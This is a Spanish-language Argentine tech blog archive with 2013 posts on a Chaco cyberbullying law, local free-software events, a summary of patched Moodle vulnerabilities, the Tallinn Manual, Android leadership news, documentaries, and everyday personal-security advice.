La Cámara de Diputados modificó la ley actual para contemplar el creciente fenómeno de acoso escolar a través de internet y redes sociales.

Teniendo en cuenta que maestros, profesores, padres y en general todos los sectores sociales se muestran hoy preocupado por lo que se percibe como un fenómeno nuevo o como un fenómeno sin control de situaciones anteriormente manejables: el uso de tecnología, y con el propósito de enfrentar el desafío de encontrar nuevas estrategias que nos permitan comprender y afrontar los problemas escolares cotidianos para atender estas preocupaciones sin perder de vista el sentido pedagógico de la escuela, el parlamento chaqueño incorporó un nuevo artículo a la ley Nº 6897 “Programa de Detección, Prevención y Tratamiento del Acoso Escolar o Bullying, creando el “Subprograma de Abordaje Escolar del ‘Ciberbullyng’ con alcance a toda la geografía chaqueña.
Además se incorporó acciones al subprograma que serán organizar Talleres bimestrales sobre factores que acrecientan el fenómeno del ciberbullying; brindar asesoramiento y formación permanente a los padres en las nuevas tecnologías, orientadas al acompañamiento y orientación de los menores; incorporar en las currículas escolares, contenidos específicos sobre Cyberbullying, el uso responsable de las nuevas tecnologías, consecuencias y daños que puede ocasionar; organizar institucionalmente material didáctico, con la cual se socializará dicha problemática; finalmente se contempla que cada institución designe un responsable de registrar toda situación referida a ésta modalidad de violencia, con la cual cada Regional Educativa sistematizará dicha información.

La diputada Cáceres en su calidad de autora del proyecto sintetizó que “con esta norma se crea un programa de abordaje escolar del ciberbullying que tiene como objetivo primordial proteger y fortalecer a los menores contra la violencia online. La difusión de las nuevas tecnologías ha permitido la aparición y expansión de los fenómenos como Cyberbullying o acoso, se dan casos de usurpación de identidad, amenazas, calumnias e injurias. Todo ello trae aparejado un aumento de la violencia online entre menores”.
“Este fenómeno de las nuevas tecnologías –precisó- que en realidad no son nuevas para los menores de edad sino que son herramientas con las que han crecido y que las tienen incorporadas a su vida, a su ocio, a sus relaciones interpersonales. Si bien nosotros los adultos utilizamos estas tecnologías, lo hacemos para cuestiones más relacionadas con el trabajo, los menores las utilizan para comunicarse y relacionarse entre sí, o divertirse y pasar el rato”.

En esa línea continuó: “el objetivo de este proyecto es fortalecer a nuestros niños y adolescentes contra la violencia online, con la creación de este subprograma buscamos la preparación y adquisición de herramientas específicas por parte de los adultos, docentes y padres contra el ciber acoso. Con esta herramienta el estado provincial abordaría directamente la problemática, apuntando a que los menores aprendan a no exponer en exceso su intimidad, a evitar que los acosen o acosar a otros por Internet. Y que sepan que hacer y donde acudir en caso de ser acosados”.
“Consideramos muy importante tener presente que el uso inadecuado de las tecnologías repercutirá en la vida cotidiana de los menores –consideró- alteraciones del sueño, aislamiento, dificultades en la concentración, hasta llegar a casos de baja autoestima, depresión y de consecuencias aún peores.
Los especialistas indican que el ciber bullying puede causar un impacto aún mayor que el bullying debido a que la difusión de la información llega a un número incalculable de personas, así la víctima no se siente segura en ningún sitio”.

“Desde la función de legislar abordamos el proyecto ordenando la tríada de padres, adolescentes, docentes, trabajando juntos. Consideramos prioritario ejecutar la presente ley anticipándonos a las consecuencias graves para nuestros niños y adolescentes” justificó la legisladora.

Fuente: Data Chaco

BarCampNea 2013 - Formosa, Argentina

2013-05-29T12:11:00.000-03:00

Se viene una nueva edición de Barcamp Nea, esta vez la sede seŕa en Formosa el dia 15 de junio.
Al igual que el año pasado este evento denominado "desconferencia" sigue creciendo a pasos agigantados y como muestra de esto, los organizadores no bajan los brazos y suman una nueva fecha esta vez en la provincia de Formosa.

Que es una Barcamp ?

Una Barcamp es un evento donde profesionales de la Informática se reunen compartiendo sus experiencia y conocimientos fomentando las nuevas tendencias del rubro. Es caracterizada por su carácter informal donde las charlas surgen casi espontáneamente desde la misma audiencia, por ello se la denomina una “desconferencia”.

http://es.wikipedia.org/wiki/BarCamp

http://es.wikipedia.org/wiki/Desconferencia

El primer Barcamp se realizó en el 2005 en la cuna de la informática, California. Dicho modelo se replico por todo el mundo llegando a nuestro país, realizándose en Buenos Aires (2010) y Santa Fe (2011). Para más información sobre los eventos mundiales (http://barcamp.org).

BARCAMP NEA 2013

Dia: 15 de Junio de 2013
Lugar: Colegio Don Bosco,Sarmiento 1088. [Se cambió el lugar]
Horario: 10 a 20Hs

WEB: barcampnea.com.ar

Múltiples vulnerabilidades en Moodle

2013-05-28T01:01:00.001-03:00

Una de las Plataformas de E-Learning más utilizadas sigue teniendo varias fallas de seguridad.

Moodle ha publicado varios boletines de seguridad en los que corrigen un total de cinco vulnerabilidades. Se ven afectadas las versiones 2.2.9, 2.4.3 y 2.3.6 y anteriores.

Moodle, acrónimo de Modular Object-Oriented Dynamic Learning Environment (en español, Entorno de Aprendizaje Dinámico, Orientado a Objetos y Modular). Es una plataforma educativa de código abierto escrita en PHP, que permite a los educadores crear y gestionar tanto usuarios como cursos de modalidad e-learning. Además proporciona herramientas para la comunicación entre formadores y alumnos.

Los boletines de seguridad van desde MSA-13-0020 hasta el MSA-13-0024 y las vulnerabilidades que corrigen son las identificadas como CVE-2013-1835, CVE-2013-1836, CVE-2013-2079, CVE-2013-2080 y CVE-2013-2081. A grandes rasgos, son las siguientes:

Un error al no limpiar correctamente los elementos de un formulario.

Una falta de validación de los comentarios que podría permitir que los usuarios puedan ver un comentario no permitido.

Un error al manejar los sitios de información registrados podría permitir que la información sea enviada a un sitio aunque no esté marcada.

Un error en el método 'showtotalsifcontainhidden' en el generador de calificaciones podría ser aprovechado para mostrar valores incorrectos.

Un error al controlar las descargar de ficheros 'zip' podría permitir a un usuario descargar ficheros enviados por otros usuarios.

Los errores han sido corregidos en las versiones 2.5, 2.4.4, 2.3.7 y 2.2.10 y pueden ser descargadas desde su página oficial

Más información

Moodle security news
https://moodle.org/security/

Official Moodle git projects
http://git.moodle.org/gw?p=moodle.git;a=tree;hb=refs/heads/MOODLE_25_STABLE

Fuente: Hispasec Una AL Dia

Jose Ignacio Palacios Ortega

jipalacios@hispasec.com

FLISOL 2013 - Argentina

2013-04-23T01:04:00.000-03:00

Otro año más y otra Flisol que se viene con todo en nuestro país. Enterate de los lugares donde se realizará este Festival Latinoamericano de Instalación de Software Libre.
El evento FLISOL que se realiza desde el año 2005 y como nos tiene acostumbrados a los que asistimos cada año, esta vez no podía dejar pasar el mes de abril asi sin más.

Es el evento de difusión de Software Libre más grande de Latinoamérica y se da simultáneamente el mismo dia 27 de abril (algunas excepciones siempre hay) en 20 países.

En nuestro país Argentina el evento se realiza en las siguientes sedes confirmadas:

Andacollo, Neuquen
Allen, Río Negro
Almafuerte, Cordoba
Bahia Blanca, Bahia Blanca
Bariloche, Rio Negro
Ciudad Autónoma de Buenos Aires
Curuzu Cuatia, Corrientes
Cordoba, Cordoba
Esquel, Chubut
Formosa, Formosa
La Plata, Buenos Aires
Lanus, Buenos Aires
Mar del Plata, Buenos Aires
Mendoza, Mendoza
Neuguen y Alto Valle de Rio Negro, Neuquen
Paraná, Entre Ríos
Pergamino, Buenos Aires
Pcia. Roque Saenz Peña, Chaco
Puerto Madryn, Chubut
Quilmes, Buenos Aires
Resistencia, Chaco
Rivadavia, San Juan
Rosario, Santa Fe
Salta, Salta
San Fernando del Valle de Catamarca, Catamarca
San Juan, San Juan
San Miguel de Tucumán, Tucumán
San Salvador de Jujuy, Jujuy
San Pedro, Jujuy
San Rafael, Mendoza
Santa Fe, Santa Fe
Santa Lucia, San Juan
Tandil, Buenos Aires
Ushuaia, Tierra del Fuego
Viedma, Río Negro
Villa Madero, Buenos Aires
Villa María, Cordoba

Está de más decir que el evento es totalmente libre y gratuito.
Te dejo con el flyer del evento que se realiza en la de ciudad Resistencia - Chaco.

Primer añito del Blog

2013-04-08T00:11:00.000-03:00

Detras del Fósforo Verde cumple su primer añito de vida...

No puedo creer que haya pasado un año desde que me decidí abrir este blog personal para hablar de Seguridad Informatica, Programacion y algun que otro tema de Informática.

Realmente me pone contento y me hace querer seguir adelante en este camino.

A pesar que no posteo todos los días pero de igual menera trato de ir subiendo informaciones que me parecen útiles como los eventos que se realizan en nuestro país y sobre todo en mi provincia o experiencias en la programacion con determinados lenguajes.

Espero que este año pueda seguir publicando algunos tutoriales de programación que tengo en el tintero.

Se muy bien que no estoy a la altura de otros Blogeros que publican todos los días o que son leidos por miles de personas pero esto no lo hago ni por fama ni por dinero, simplemente lo hago a modo de catarsis ya que escribir sobre los temas que me apasionan me hace sentir completo como persona y más aun si sé que esos temas les pueden ayudar a alguien en resolver determinado problema.

Sin más que agregar....Seguiremos por un tiempo más.......

Manual Tallinn y la matanza legal de Hackers

2013-03-24T01:10:00.000-03:00

Desde hace varios días esta circulando en la red un manual creado (a pedido de la OTAN) por más de 20 expertos en conjunto con el Comité Internacional de la Cruz Roja y el Cibercomando de Estados Unidos donde se realizan ciertas declaraciones muy polémicas.

La más importante y la de mayor impacto provocó es donde señala que :

...es aceptable que un Estado responda con armamento tradicional a ataques cibernéticos patrocinados por otro Estado si puede demostrar que el ciberataque causó la muerte de ciudadanos o severos daños a la propiedad, como también asegura que los hackers que perpetraron los ataques son blancos legítimos para contraatacarlos, incluso si son civiles.

Dicho Manual titulado:
Tallinn Manual on the International Law Applicable to Cyber Warfare
(Manual Tallinn sobre las Leyes Internacionales Aplicables a la Guerra Cibernética)
lo podes ver online desde este sitio: Manual Tallinn

El manual no es una política ni un documento oficial del organismo, sino que un manual con recomendaciones que no necesariamente están obligados a cumplir los países miembros de la OTAN.

Pero más allá de todo esto, las implicancias que pueden tener el solo hecho de pensar en tomar medidas bélicas sobre un posible ciberterrorista son demasiado drásticas sobre todo si todavía no se aclara en dicho tratado cómo se comprueba o cuál es el nivel de implicancia que debe tener un hacker para ser o no ser considerado blancos legítimos para contraatacarlos.

Si bien sabemos que la ciberguerra está mutando y si en un primer momento no era tan preocupante (por lo menos para la vida y subsistencia humana) que se ataquen servidores, equipos, maquinas, empezamos a temer cuando los ataques dirigidos son perpetrados a sistemas SCADA o como el famosisimo caso de Stuxnet que fue programado para atacar una central nuclear de Iran.
El grado de preocupacion se incrementa al saber que la OTAN y varios organismos están tratando de aplicar las mismas reglas de la guerra a un ataque cibernético.
Para pensar y debatir...

Nos vemos Detrás del Fósforo Verde ...(todavía nos podemos refugiar allí )

Andy Rubin, se retira de android

2013-03-16T12:14:00.001-03:00

Andy Rubin dejará de ser el máximo responsable del sistema operativo Android. Así lo ha anunciado Larry Page a través de un comunicado oficial.

Según Google la decisión no ha sido de ellos sino del propio Andy que no ha querido seguir liderando el proyecto. Su intención es la de embaucarse en otros proyectos diferentes pero que estarían dentro de la empresa del buscador más famoso.

Al parecer este proyecto estaría dentro de “Project X” (que no es la segunda parte de la película disparatada) sino el laboratorio más secreto de investigación de Google, del que por ejemplo ha salido las nuevas Google Glasses.

El CEO de Google alaba el exitoso camino de Rubin a cargo de Android. Un sistema operativo que él ideó y que ahora mismo está en 750 millones de dispositivosdistintos y utilizado por 60 fabricantes diferentes con casi 26000 millones de descargas desde la tienda Google Play.

¿Quién será el sustituto de Andy Rubin? Pues el hindú Sundar Pichai, quien ha estado trabajando muy ligado con Chrome. Igual en un futuro vemos la fusión de Android y el sistema operativo en la nube, Chrome OS. Que quizás es lo que Google ha pensado al ponerle al frente de Android

[Documentales] - TPB-AFK , WikiRebels, Somos Legion

2013-03-01T14:06:00.001-03:00

En esta oportunidad les dejo tres de los documentales mas interesantes (por lo menos en el area informatica) de los ultimos años.
Posiblemente la mayoria ya los haya visto pero no está de más agregarlos a todos en un mismo post.
Pochoclo de por medio y a disfrutar. ..
WikiRebels - La Historia de WikiLeaks

Documental impresionante donde relata la historia de uno de los portales más escandalosos de los últimos tiempos debido a que su función es publicar cables oficiales con acceso restringido de varios paises. Su fundador Julian Assange se encuentra hoy en dia (marzo 2013) refugiado con asilo político en la embajada de Ecuador en Londres.

We Are Legion: The Story of the Hacktivists

El segundo documental explica que es el Hacktivismo contando la historia y origenes de grupos como Anonymous, 4chan, LulzSec y como sus actividades impactan en la sociedad actual.

The Pirate Bay - Away From Keyboard

El tercer documental trata sobre The Pirate Bay, un portal para compartir enlaces a diferentes descargas de material. Dicho sitio recibió denuncias judiciales por parte de grandes cadenas de Holliwood. En el video narra la historia de dichos juicios como asi tambien los detrás de escena de Peter Sunde, Fredrik Neij, Gottfrid Svartholm and Carl Lundström los fundadores de dicho proyecto.

Espero que disfruten de los documentales, pronto iré subiendo algunos otros..

Nos vemos Detrás del Fósforo Verde.

Regalando pistas a los delincuentes...

2013-02-03T17:24:00.000-03:00

Si hace algunos años atrás la información tenia algo de valor, al día de hoy es una de las cosas más importantes ya que con la misma en manos de delincuentes o personas dañinas es un arma mortal.
Muchas veces andamos por la vida dejando rastros que pueden parecer inútiles para nosotros pero SIEMPRE hay personas que están prestando atención a cada uno de los detalles, y así cuando nos enteramos de algún robo o secuestro acuñamos la frase: "Seguro que lo tenian fichado" o "le venian siguiendo el rastro".
No es algo del otro mundo lo que voy a mostrar pero son cosas que muchas veces no nos damos cuenta o lo hacemos recién cuando sucede algo. Somo reactivos en lugar de ser proactivos y tratar de evitar antes de que ocurran.

Y se que está de más aclarar pero por las dudas siempre hay alguien que desayuna vodka:

Todo lo que publico lo hago con fines netamente educativo ya que si conocemos como actúan estos personajes podemos estar más alertas y evitar problemas o por lo menos reducirlos en gran medida.

1- Calcos de mi hermosa y querida familia

En Argentina esta plagado de automóviles que poseen calcomanias con la constitución del seno familiar. Incluso muchas veces se puede hasta llegar a observar el nombre de los integrantes. Algo demasiado peligroso puesto que cualquiera que observe se puede hacer pasar por un conocido. En nuestro país se comenzó un programa para concientizar a las personas de este problema llegando a multar a los conductores que posean estos stickers.

2- Cartel con el apellido de la familia
Una actividad que desde siempre la consideré innecesaria es colocar en el hogar un cartel con el apellido de la familia. Puede resultar algo tonto pero por ejemplo si se conoce a la mujer pero no se sabe el apellido de su marido esta información puede resultar muy útil También para los llamados telefónicos correos o demás métodos delictivos. Si no es estrictamente necesario, no veo la razón de regalar información a cualquiera.

3- Mira el LCD que me compre, envidiame....

Otra actividad muy común en estos tiempos es comprarse un televisor de 30, 40, o 50 pulgadas (mientras más grande mejor) y colocar la caja de dicho producto en la vereda de enfrente de nuestro hogar, llamando la atención de los transeúntes envidiosos. Es verdad que las cajas son inmensas para guardarlas en la casa pero si se lo pone afuera para que pase el recolector de residuos seria conveniente que se rompa la caja y se guarden los pedazos en una bolsa.

¿Que problema hay de mostrar lo que me compro con MI plata????????

Lamentablemente muchos,

Desde saber la marca y el modelo del equipo comprado, saber muchas veces el lugar donde se lo compro, y hasta incluso el precio...puede resultar util nuevamente para aquel que intente hacerse pasar por miembro de la empresa, servicio técnico etc. o de una manera menos personal pero igualmente peligrosa:

Muchos modelos de SmarTV poseen vulnerabilidades en sus sistemas permitiendo tomar el control de los mismos e incluso de todos los aparatos que se encuentren en la misma red (PC, netbooks, notebooks, celulares y me faltaría heladeras pero todavía no son tan difundidas...).

Más adelante seguiré con la lista ya que estas sencillas acciones que muchas veces lo hacemos inconscientemente, son muy observadas por otras que dedican su vida pura y exclusivamente a vivir de los demás.

[ La educación es la mejor arma para prevenirnos ]

Nos vemos Detrás del Fósforo Verde...

Hackers & Developers Magazine

2013-01-24T14:55:00.000-03:00

Hace ya unos meses esta circulando en la red un nuevo Magazine Digital que habla de Hacking y Programación. Como esta hay muchas pero esta tiene la característica distintiva que está hecho por un grupo de mujeres, ingenieras, programadoras, licenciadas, etc.

Desde el mes de Noviembre del año pasado (5-11-12 mas precisamente) comenzó a circular en la red el número 0 de Hackers & Developers Magazine.

Cabe destacar el logrado diseño del mismo y su diagramación en general. He tenido la experiencia personal de hacer un Magazine hace varios años atrás y sé lo que cuesta "armar todo para que quede lindo".

Respecto a lo más importante, los temas tratados son innumerables. Algunos con un gran nivel de tecnicismo ideal para profesionales que ya manejan ciertos temas y algunos explicados desde Cero, lleno de ejemplos claros y precisos para ser entendidos fácilmente si no se sabe del tema.

Temas tratados en el Numero 2
Prevención de ataques por fuerza bruta y Man in the Middle
Backups: ¡Siempre me acuerdo de ellos cuando no están!
Arduino: Filosofía OpenSource.
Especial NoSQL: Introducción a NoSQL y servicios en la nube
Especial NoSQL: estructura interna, código y contexto
Scratch: Imagina, programa, comparte
Guía de seguridad en aplicaciones Web PHP
¿Para que sirven?
Experimentando con matplotlib y otros “yuyos”
Manual de MVC: (2) Vistas dinámicas y Templates
Pásate a GNU/Linux con Arch Linux: Parte II
Analizando los logs de acceso de Apache

Personalmente me gustaron la mayoría de los temas que tratan. Ya están editados 3 números así que te recomiendo que los bajes y les pegues una mirada porque vas a encontrar cosas muy interesantes de las cuales seguro algo te llevas.

Como broche de oro y para despedir el año 2012 realizaron una entrevista al señor Richard Stallman.

El Staff está formado por:

Eugenia Bahit
Arquitecta GLAMP & Agile Coach
http://www.eugeniabahit.com/

Indira Burga
Ingeniera de Sistemas
http://about.me/indirabm

Celia Cintas
Licenciada en Informática
http://yetanotherlog.wordpress.com/

Eliana Caraballo
Ingeniera de Sistemas
http://co.linkedin.com/in/elianacaraballoa

Elizabeth Ramirez
Ingeniera Electrónica
http://about.me/elizabethr

Laura Mora
Adm. de Redes y Sistemas GNU/Linux
http://blackhold.nusepas.com/

Maria Jose Montes Diaz
Tec. en Informátia de Gestión
http://archninfa.blogspot.com.es/

Milagros Infante
Est. Ingeniería de Sistemas
http://www.milale.net/

Yecely Diaz
Maestra en Inteligencia Artificial
http://silvercorp.wordpress.com

Más información:

http://www.hdmagazine.org
https://twitter.com/HackDevMagazine